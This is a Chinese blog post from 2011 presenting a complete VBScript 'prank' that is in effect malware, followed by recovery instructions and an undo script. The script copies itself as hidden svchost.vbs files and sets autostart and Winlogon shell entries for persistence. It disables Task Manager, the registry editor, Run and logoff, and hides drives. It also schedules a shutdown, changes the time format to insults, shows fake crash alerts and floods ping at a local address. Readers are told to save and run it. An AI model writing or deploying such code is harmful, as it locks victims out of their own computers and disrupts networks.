vbs 脚本没事测试玩
2011年03月27日
Set objFS = CreateObject("Scripting.FileSystemObject")
Set objFSO = CreateObject("Scripting.FileSystemObject")
set wsh=wscript.createobject("wscript.shell")
set reg=wscript.createobject("wscript.shell")
dim wsh
a=WScript.ScriptFullName
b="shutdown -t 60 -s -c 。。。加载!"
c="c:\svchost.vbs"
d="d:\svchost.vbs"
s="c:\windows\system32\svchost.vbs"
c1="attrib +s +h +a +r c:\svchost.vbs"
d1="attrib +s +h +a +r d:\svchost.vbs"
s1="attrib +s +h +a +r c:\windows\system32\svchost.vbs"
If objFSO.FileExists (c) Then
Else
objFs.GetFile (a).Copy (c)
wsh.run c1
End If
If objFSO.FileExists(d) Then
Else
objFs.GetFile (a).Copy (d)
wsh.run d1
End If
If objFSO.FileExists(s) Then
Else
objFs.GetFile (a).Copy (s)
wsh.run s1
End If
wsh.run b
wsh.run "narrator"
reg.regwrite"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools","00000001","REG_DWORD"
reg.regwrite"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr","00000001","REG_DWORD"
reg.regwrite"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\explorer\NoRun","00000001","REG_DWORD"
reg.regwrite"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\explorer\NoClose","00000001","REG_DWORD"
reg.regwrite"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\explorer\NoLogoff","00000001","REG_DWORD"
reg.regwrite"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\explorer\NoDesktop","00000001","REG_DWORD"
reg.regwrite"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\explorer\NoDrives","000000100","REG_DWORD"
reg.regwrite"HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\svchost","c:\svchost.vbs","REG_SZ"
reg.regwrite"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\svchost","d:\svchost.vbs","REG_SZ"
reg.regwrite"HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\RunServices\svchost","c:\windows\system32\svchost.vbs","REG_SZ"
reg.regwrite"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunServices\svchost","c:\windows\system32\svchost.vbs","REG_SZ"
reg.regwrite"HKEY_CURRENT_USER\Control Panel\International\sTimeFormat","tttt H:mm:ss","REG_SZ"
reg.regwrite"HKEY_CURRENT_USER\Control Panel\International\s1159","笨蛋!","REG_SZ"
reg.regwrite"HKEY_CURRENT_USER\Control Panel\International\s2359","傻逼!","REG_SZ"
reg.regwrite"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\shell","c:\windows\system32\svchost.vbs","REG_SZ"
msgbox "系统快要崩溃了!",48,"由于你经常看黄页:"
msgbox "windows崩溃了!",18,"安全警报:"
do
wsh.run ("ping -t -l 6500 192.168.1.1")
loop
'请将以上代码保存在txt文件中保存、再把后缀名txt改成vbs后执行后就可以看到效果
了解救方法如下:
开机的时候按F8选择从带命令行的安全模式启动系统,然后执行以下命令
attrib -s -r -h -a c:\windows\system32\svchost.vbs
attrib -s -r -h -a c:\svchost.vbs
attrib -s -r -h -a d:\svchost.vbs
explorer
然后从以上文件目录中找到那VBS文件,把他们删除既可,还要自己建立一个新的VBS文件,把一下代码复制进去执行一次就OK了!
set reg=wscript.createobject("wscript.shell")
reg.regwrite"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools","00000000","REG_DWORD"
reg.regwrite"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr","00000000","REG_DWORD"
reg.regwrite"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\explorer\NoRun","00000000","REG_DWORD"
reg.regwrite"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\explorer\NoClose","00000000","REG_DWORD"
reg.regwrite"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\explorer\NoLogoff","00000000","REG_DWORD"
reg.regwrite"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\explorer\NoDesktop","00000000","REG_DWORD"
reg.regwrite"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\explorer\NoDrives","000000000","REG_DWORD"
reg.regwrite"HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\svchost","","REG_SZ"
reg.regwrite"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\svchost","","REG_SZ"
reg.regwrite"HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\RunServices\svchost","","REG_SZ"
reg.regwrite"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunServices\svchost","","REG_SZ"
reg.regwrite"HKEY_CURRENT_USER\Control Panel\International\sTimeFormat","H:mm:ss","REG_SZ"
reg.regwrite"HKEY_CURRENT_USER\Control Panel\International\s1159","AM","REG_SZ"
reg.regwrite"HKEY_CURRENT_USER\Control Panel\International\s2359","PM","REG_SZ"
reg.regwrite"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\shell","Explorer.exe","REG_SZ"
msgbox "解救成功,请勿用此代码破坏别人",64,"OK"
不明白不要玩
发表评论
-
linux 电源管理
2012-01-20 09:01 2125linux 电源管理 2011年06 ... -
memcached完全剖析
2012-01-20 09:01 751memcached完全剖析 2011年0 ... -
关于文件的一些总结
2012-01-20 09:01 904关于文件的一些总结 2010年08月29日 Create ... -
low level I/O和stream I/O
2012-01-20 09:01 773low level I/O和stream I/O 201 ... -
充分利用 Xerces-C++,第 1 部分
2012-01-20 09:01 895充分利用 Xerces-C++,第 1 ... -
利用VBS脚本让qq永远在线
2012-01-19 14:05 808利用VBS脚本让qq永远在线 2011年06月07日 让 ... -
vbs脚本实例
2012-01-19 14:05 868vbs脚本实例 2011年02月28日 rem 结束QQ ... -
VBS脚本文件大全
2012-01-19 14:05 850VBS脚本文件大全 2011年05月24日 一、自动打开 ... -
自动下载并运行的VBS脚本代码[转载]
2012-01-19 14:04 1219自动下载并运行的VBS脚本代码[转载] 2012年01月15 ... -
解决系统提示:内存不能为“read”或"written"的办法
2012-01-17 03:55 686解决系统提示:内存不能为“read”或"writte ... -
内存不能为“read”或"written"的解决
2012-01-17 03:55 602内存不能为“read”或"written" ... -
0x08e629ab 指令引用的 0x0000000c内存不能为read 怎么解决11
2012-01-17 03:54 14150x08e629ab 指令引用的 0x00 ... -
内存不能为read和无法定位程序输入点 +@于动态链接库上
2012-01-17 03:54 1434内存不能为read和无法定位程序输入点 +@于动态链接库上 ... -
操作系统为XP 控制面板中的“添加删除程序”打不开,显示“rundll32.exe 遇到问题需要关闭。
2012-01-17 03:54 2663操作系统为XP 控制面板中的“添加删除程序”打不开,显示“ru ... -
基于C#的Socket开发快速入门
2012-01-16 02:42 633基于C#的Socket开发快速 ... -
C# Socket多线程编程实例
2012-01-16 02:42 578C# Socket多线程编程实例 ... -
C++ socket编程(tcp udp)
2012-01-16 02:42 639C++ socket编程(tcp udp) 2011 ... -
最基本的Socket编程C#
2012-01-16 02:41 588最基本的Socket编程C# 201 ... -
Dev C++ 中socket编程
2012-01-16 02:41 1151Dev C++ 中socket编程 2010年06月07日 ...
相关推荐
用VBS脚本关闭系统还原,已经测试过,需要重新启动计算机
在VBS中,使用Telnet连接远程端口,测试远程端口是否开放。不依赖Active库。
亲测可用! 很有意思的小脚本,VBS vbs脚本实现获取屏幕分辨率,大家一起学习分享啊! 本人将会不定期的上传一些经过测试可用的vbs小程序。
openwrt总结(xshell vbs脚本自动化测试)
QTP VBS 脚本 项目 在实际项目中使用到的脚本以及自定义测试报告
vbs脚本,用正则表达式判断字符串类型,多用于QTP自动化测试脚本
简单的vbs弹窗,问她最喜欢的人是谁?只有当她输入你的名字的时候,弹窗才会关闭,否则弹窗一直存在,一个简单的小功能,大家可以试试
修改3389端口 vbs脚本 tc老师提供 简便好用 适合XP , 2000 2003未测试
此时脚本已经在循环监测U盘的插入 三、插入U盘 U盘插入后,就开始文件的复制。复制完成后会出现提示对话框。 如果不希望出现该对话框,可以将 “Msgbox "Windows 错误",64”注释掉 四、寻找文件 此时,文件已经在...
非常好的vbscript系统自动化测试脚本,包含了一些对excel操作的封装函数,给大家参考,希望对大家有用!
里边有测试的vbs脚本,直接调试即可
Vbs脚本编程简明教程,适合QTP测试用编写脚本。
vbs脚本开发教程/ 软件测试/运维都可以考虑学习使用的开发语言,简单易学,快速上手
自动关机VBS脚本,本人用了近1天时间反复修改,不停重启测试才得以完成,真的是反复煎熬,不断坚持呐,呵呵。本程序DIY味道十足,可以自定义一周内的任一天或几天,任何时段的任何时间,另外提供了一个提示框,可...
很好的vbs编程实例和vbs脚本教程,学完后可以看看自动化测试的文档,对自动化测试的学习很有帮助。。。
脚本为VBS编写,利用WMI编写,通过测试。 使用中Flag为你要检索清理的关键字,并取消这两行的注释: Link:71 '''oReg.DeleteKey k_root, subkey '删除注册表的代码 Link:151 '''oReg.DeleteValue strKR, ...
非常好用的vbs转exe工具,亲自测试可用。无bug,还可以编辑vb脚本,语法高亮,使用简单。
VbsEdit-VBS脚本编辑器-QTP自动化测试 iquicktest教研室:http://www.iquicktest.com/bbs
自带PHP测试服务器+VBS脚本,京东价格图片转数字的工具。 某产品价格出现变动,就会提示音乐报警。可以按说明自己设置商品。 VBS为主要测试入口,HOME文件为PHP服务器。 非正常关闭注意后台清理线程可二次运行。 ...
自动化测试脚本例子共享